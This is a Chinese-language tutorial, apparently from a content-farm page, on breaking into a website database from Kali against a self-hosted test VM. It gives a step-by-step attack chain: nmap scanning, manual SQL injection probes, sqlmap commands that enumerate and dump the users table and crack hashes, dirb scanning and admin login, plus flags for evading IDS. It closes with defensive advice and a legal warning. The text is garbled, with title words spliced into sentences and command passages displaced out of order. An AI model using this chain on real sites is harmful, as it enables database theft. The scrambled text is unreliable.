使用kali入侵网站数据库完整教程
去年夏天,使用数据一个做电商的入侵朋友让我帮他看看服务器为什么总在凌晨卡顿。我登上去翻了半天日志,网站发现有人用sqlmap在跑他的库完商品查询接口。他没做任何防护,整教数据库账号还是使用数据root配弱密码。这事让我意识到,入侵很多中小网站的网站安全防线基本等于没有。下面记录一次完整的库完Kali渗透数据库过程,目标是整教一个我自建的测试站点,跑在虚拟机里,使用数据IP是入侵192.168.1.105。 先确认Kali和目标机在同一网段。网站终端里敲 浏览器打开目标站,是个简单的文章管理系统。URL里带参数 命令如下: 看字段: 拿到账号密码,找后台。用dirb扫目录: 说点实际的。sqlmap确实好用,但动静不小。默认配置会发大量请求,目标站如果有IDS很容易触发告警。我习惯加 防御层面,参数化查询能挡掉九成注入。MySQL账号别用root,给每个应用单独建用户,只授必要的库和表权限。3306端口绝对不要对公网开放,内网也最好加个防火墙规则限制来源IP。密码用bcrypt或者argon2,MD5早该淘汰了。后台登录加个失败次数限制,验证码不贵,但能挡住大部分自动化工具。 最后提一句,Kali里自带的工具远不止sqlmap。bsqlbf、jsql、甚至burp的插件都能干类似的活。工具不重要,思路才重要。知道数据库类型、版本、权限,比会敲几条命令有用得多。ifconfig,库完看到eth0是整教192.168.1.20,通。接着用nmap扫目标端口:nmap -sV -p- 192.168.1.105。等了大概两分钟,结果出来,80和3306都开着。3306是MySQL默认端口,直接暴露在外网,这本身就是个大问题。实际环境中很多运维图省事,防火墙规则写成allow any,数据库就这么裸奔了。?id=1,典型的注入点。手工测一下,把id改成1',页面报SQL语法错误。再试1' and 1=1 -- -,正常返回。基本确认存在字符型注入。不过手工猜表名太慢,直接上sqlmap。sqlmap -u "http://192.168.1.105/article.php?id=1" --dbs。sqlmap先判断注入类型,然后开始枚举数据库。输出里看到information_schema、mysql、performance_schema,还有一个叫webapp的库。目标明确,继续:sqlmap -u "http://192.168.1.105/article.php?id=1" -D webapp --tables。表不多,users、articles、comments。users表最诱人。sqlmap -u "http://192.168.1.105/article.php?id=1" -D webapp -T users --columns。返回id、username、password、email。密码字段类型是varchar(32),大概率是MD5。直接dump:sqlmap -u "http://192.168.1.105/article.php?id=1" -D webapp -T users --dump。sqlmap问要不要破解哈希,选yes。它调用字典跑了几秒,admin的密码是admin123的MD5值。另一个用户密码没跑出来,但admin足够用了。dirb http://192.168.1.105。发现/admin/目录。登录进去,后台有数据库备份功能,可以直接下载整个sql文件。到这一步,数据库已经彻底沦陷。整个过程不到十五分钟,目标站没有任何WAF,没有登录失败锁定,没有验证码。--random-agent --delay=2,慢一点但隐蔽些。另外,--os-shell和--file-write这些功能别乱用,搞不好就把目标系统弄崩了。测试自己搭的环境无所谓,真要对别人的站动手,先确认你有书面授权。刑法285条不是闹着玩的。
-
上一篇
-
下一篇
- 最近发表
- 随机阅读
- 搜索
-
- 友情链接
-